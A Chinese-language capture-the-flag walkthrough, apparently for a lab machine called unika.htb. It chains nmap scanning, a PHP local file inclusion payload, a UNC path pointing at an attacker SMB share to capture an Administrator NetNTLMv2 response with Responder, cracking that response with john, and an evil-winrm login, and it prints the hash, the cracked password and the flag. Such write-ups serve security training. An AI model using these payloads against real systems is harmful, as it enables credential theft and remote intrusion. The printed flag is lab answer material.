介绍
Windows是当今世界最主要的操作系统,因为它易于使用的GUI可访问性。大约85%的市场份额已成为攻击的关键操作系统。此外,大多数组织使用Active Directory来设置其Windows域网络。微软聘请NTLM(New Technology LAN Manager)和Kerberos提供认证服务。尽管存在已知漏洞,但即使在新系统上,NTLM 仍被广泛部署,以保持与传统客户端和服务器的兼容性。
本实验重点介绍如何利用在 Windows 计算机上提供的网页上的文件包含漏洞来收集运行 Web 服务器的用户的 NetNTLMv2 质询。我们将使用Responder调用实用程序来捕获 NetNTLMv2 哈希,稍后再使用john the ripper称为测试数百万个潜在密码,以查看它们是否与用于创建哈希的密码匹配。我们还将更深入地了解 NTLM 身份验证的工作流程以及响应程序实用程序如何应对这一挑战。我们认为,了解工具或框架的底层工作原理至关重要,因为它加强了一个人理解的基础,这有助于在现实世界中利用一个人可能面临的场景,这些场景乍一看似乎并不脆弱。让我们直接进入它。
列举
nmap -p- --min-rate 5000 -sV 10.129.186.174
我们将首先扫描主机以查找任何打开的端口,并使用Nmap扫描运行服务。我们将使用以下标志进行扫描:
Nmap 如何确定端口上运行的服务?
Nmap使用已知服务的端口服务数据库来确定服务在特定端口上运行。它稍后还会向该端口发送一些特定于服务的请求,以确定服务版本以及有关它的任何其他信息。因此,Nmap对特定端口的服务信息大多但并不总是正确的。
根据Nmap扫描的结果,该机器正在使用Windows作为其操作系统。两个端口检测到Apache web服务器在端口80上运行,WinRM在端口5985上运行。
Windows 远程管理(WinRM)是一种 Windows 本机内置远程管理协议,它基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM允许用户:
→与主机远程通信和交互
→在非本地但可通过网络访问的系统上远程执行命令。
→监控,从远程位置管理和配置服务器、操作系统和客户端计算机。
作为渗透测试程序,这意味着如果我们可以为具有远程管理权限的用户找到凭据(通常是用户名和密码),则可能会在主机上获得 PowerShell 外壳程序。
网站枚举
打开 Firefox 并输入http:// [目标 IP]时,浏览器会返回一条消息,指出找不到该站点。在URL栏中查找,它现在显示http://unika.htb。该网站已将浏览器重定向到新的URL,而我们的主机不知道如何找到unika.htb。此 Web 服务器使用基于名称的虚拟主机来为请求提供服务。
基于名称的虚拟主机是一种在单个服务器上托管多个域名(每个名称单独处理)的方法。这允许一台服务器共享其资源,例如内存和处理器周期,而无需所有服务由相同的主机名使用。
Web服务器根据该情况检查响应中提供的域名。HTTP 请求和发送的标头字段
/etc/hosts文件用于将主机名解析为IP地址,因此我们需要在此域的/etc/hosts文件中添加一个条目,以使浏览器能够解析unika.htb的地址。
echo "10.129.186.174 unika.htb" | tee -a /etc/hosts
在文件中添加此条目将使浏览器能够将主机名unika.htb解析为相应的 IP 地址 , 从而使浏览器将 HTTP 标头包含在浏览器发送到此IP地址的每个HTTP请求,这将使服务器响应unika.htb的网页。
在访问网页时,我们会看到一个网页设计业务登录页面。
检查网站,我们没有看到任何特别感兴趣的内容。虽然,我们注意到一个语言选择选项在导航栏上,并将选项更改为法语,将我们带到该网站的法语版本。
注意到URL,我们可以看到页面加载的参数,french.html页,如果未清理页面输入,则可能容易受到本地文件包含 (LFI) 漏洞的攻击。
文件包含漏洞
动态网站使用来自 HTTP 请求的信息动态包含 HTML 页面,以包括获取和发布参数、Cookie 和其他变量。一个页面通常会根据其中一些参数“包含”另一个页面。
当攻击者能够使网站包含不打算作为此应用程序选项的文件时,就会发生 LFI (本地文件包含)。一个常见示例是应用程序使用文件的路径作为输入。如果应用程序将此输入视为受信任,那么攻击者可以通过使用输入文件名中的…/字符进行攻击,并最终查看本地文件系统中的敏感文件。在某些有限的情况下,LFI可以导致代码执行。
RFI (远程文件包含)类似于 LFI,但在这种情况下,攻击者可以使用 HTTP、FTP 等协议在主机上加载远程文件,我们测试该参数,以查看是否可以在服务器响应中包含目标系统上的文件。我们将使用一些常见的已知文件进行测试,这些文件将在网络,Windows域和系统中具有相同的名称,可以在此处找到。渗透测试人员可能尝试在 Windows 计算机上访问以验证 LFI 的最常见文件之一的主机文件,WINDOWS\System32\drivers\etc\hosts(此文件有助于将主机名本地转换为 IP地址)。…/字符串用于遍历目录,一次一个。因此多个字符串是包含在 URL 中,以便服务器上的文件处理程序遍历回基目录,即 C:\。
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
太好了,LFI 是可能的,因为我们可以查看响应的内容。
在本例中,文件包含是可能的,因为在后端,PHP的include()方法是用于处理URL参数页面,以服务于不同语言的不同网页。由于没有对此页面参数进行适当的清理,我们能够传递恶意输入并因此查看内部系统文件。
PHP 中的include()方法是什么?
该include语句获取指定文件中存在的所有文本/代码/标记,并将其加载到内存,使其可供使用。例如:
File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>
响应者挑战捕获
我们知道此网页容易受到文件包含漏洞的影响,并且正在 Windows 计算机上提供。因此,有可能在我们的攻击者工作站上包含文件。如果我们选择像SMB这样的协议,Windows将尝试对我们的机器进行身份验证,我们可以捕获NetNTLMv2。
什么是NTLM?
NTLM 是由微软创建的身份验证协议的集合。它是一种质询-响应身份验证协议,用于向活动目录(AD) 域上的资源验证客户机。
它是一种单点登录 (SSO),因为它允许用户在登录时仅提供一次基础身份验证因素。
1、NTLM 身份验证过程按以下方式完成:
2、客户端将用户名和域名发送到服务器。
3、服务器生成一个随机字符串,称为质询。
4、客户端使用用户密码的 NTLM 哈希对质询进行加密,并将其发送回服务器。
5、服务器检索用户密码(或等效密码)。服务器使用从安全帐户数据库中检索到的哈希值来加密质询字符串。然后将该值与从客户端接收的值进行比较。如果值匹配,则对客户端进行身份验证。
NTLM vs NTHash vs NetNTMLv2
围绕NTLM身份验证的术语很混乱,甚至专业人士也会不时滥用它,所以让我们定义一些关键术语:
哈希函数是一种单向函数,它接受任意数量的数据并返回固定大小的值。通常,结果称为哈希、摘要或指纹。它们用于更安全地存储密码,因为没有办法将哈希直接转换回原始数据(尽管存在试图从哈希中恢复密码的攻击,正如我们稍后将看到的那样)。因此,服务器可以存储我们的密码哈希值,当我们向站点提交密码时,它会对我们的输入进行哈希处理,并将结果与数据库中的哈希值进行比较,如果它们匹配,它就知道我们提供了正确的密码。
NTHash是用于在 SAM 数据库和域控制器中的 Windows 系统上存储密码的算法的输出。NTHash通常被称为NTLM哈希,甚至只是NTLM,这是非常误导/令人困惑的。
当 NTLM 协议想要通过网络进行身份验证时,它使用如上所述的质询/响应模型。NetNTLMv2 质询/响应是专门格式化为包含质询和响应的字符串。这通常称为 NetNTLMv2 哈希,但它实际上不是哈希。尽管如此,它通常被称为哈希,因为我们以相同的方式攻击它。我们将看到 NetNTLMv2 对象称为 NTLMv2,甚至令人困惑地称为 NTLM。
使用Responder
在 PHP 配置文件php.ini 中,“allow_url_include”包装器默认设置为“Off”,表示 PHP 不加载远程 HTTP 或 FTP URL 以防止远程文件包含攻击。但是,即使allow_url_include和allow_url_fopen设置为“关闭”,PHP 不会阻止加载 SMB URLs。在我们的例子中,我们可以滥用此功能来窃取 NTLM 哈希。
现在,使用此链接中的示例,我们可以尝试加载 SMB URL,在此过程中,我们可以使用 Responder 从目标捕获哈希。
Responder如何工作
响应程序可以执行许多不同类型的攻击,但对于此方案,它将设置恶意 SMB 服务器。当目标计算机尝试对该服务器执行 NTLM 身份验证时,响应程序会发回质询,以便服务器使用用户的密码进行加密。当服务器响应时,响应程序将使用质询和加密响应来生成 NetNTLMv2。虽然我们无法反转 NetNTLMv2,但我们可以尝试许多不同的常见密码,看看是否有任何密码生成相同的质询响应,如果我们找到一个,我们就知道这就是密码。这通常被称为哈希破解,我们将使用一个名为John The Ripper的程序来完成。
git clone https://github.com/lgandx/Responder
首先,如果计算机上尚未安装Responder程序实用程序,我们会将Responder程序存储库克隆到本地计算机。
验证Responder是否设置为侦听 SMB 请求。
cd Responder
cat Responder.conf
配置文件准备就绪后,我们可以继续使用python3启动响应程序,传入接口-I要使用标志侦听:
python3 Responder.py -I tun0
ifconfig,可以通过在终端中运行命令来检查网络接口。
在 Kali Linux 的情况下,响应程序默认作为系统实用程序安装,因此只需运行Responder命令程序 -I {network_interface}即可启动它。
如果出现有关无法在端口 80 上启动 TCP 服务器的错误,则是因为计算机上的其他服务已在使用该服务器。可以通过更改Responder.conf文件以关闭“要启动的服务器”部分下列出的“HTTP”条目。
响应程序文件的位置 -
-默认系统安装>:/usr/share/responder/Responder.conf
-> 用于 github 安装:/installation_directory/Responder.conf
将Responder.conf文件中“要启动的服务器”部分下的“HTTP”标志设置为“关闭”:
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
[**剪 断**]
响应程序服务器准备就绪后,我们通过设置来告诉服务器包括来自SMB服务器的资源页面参数如下所示。
http://unika.htb/?page=//10.10.16.25/somefile
在这种情况下,由于我们可以自由地指定 SMB 共享的地址,因此我们指定了我们本机机器的 IP 地址,10.10.16.15。现在,服务器尝试从我们的 SMB 服务器加载资源,响应程序捕获了足够的资源来获取 NetNTLMv2。
注意:请务必添加地址,因为某些浏览器可能会选择Google搜索而不是导航到相应的页面。
通过Web浏览器发送有效负载后,我们会收到有关无法加载所请求文件的错误。
但是在检查我们的侦听响应程序服务器时,我们可以看到我们有一个Administrator用户的 NetNTLMv。
NetNTLMv2 包括质询(随机文本)和加密响应。
哈希破解
我们可以将哈希转储到文件中,并尝试使用john破解它,这是一个密码哈希破解实用程序。
echo "Administrator::DESKTOP-H3OF232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E00480045003800440049003400410053004300510004003400570049004E002D004E0048004500380044004900340041005300430051002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA92630A77E073056DA8C3F356D47C324C6D6D16F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320035000000000000000000" > hash.txt
我们将哈希文件传递给john,并破解管理员帐户的密码。哈希类型为由john命令行工具自动识别。
-w : 用于破解哈希的单词列表
john -w=/usr/share/wordlists/rockyou.txt hash.txt
将尝试给定密码列表中的每个密码,并使用该密码加密质询。如果结果与响应匹配,则它知道它找到了正确的密码。在这种情况下,管理员帐户的密码已成功破解。
password : badminton
WinRM
evil-winrm -i 10.129.231.129 -u administrator -p badminton
我们将连接到目标上的 WinRM 服务,并尝试获取会话。由于默认情况下,Linux 上未安装 PowerShell,因此我们将使用一个名为Evil-WinRM 的工具,该工具就是为这种情况而制作的。
我们可以在C:\Users\mike\Desktop\flag.txt下找到该标志。
C:\Users\mike\Desktop
cat flag.txt
ea81b7afddd03efaa0945333ed147fac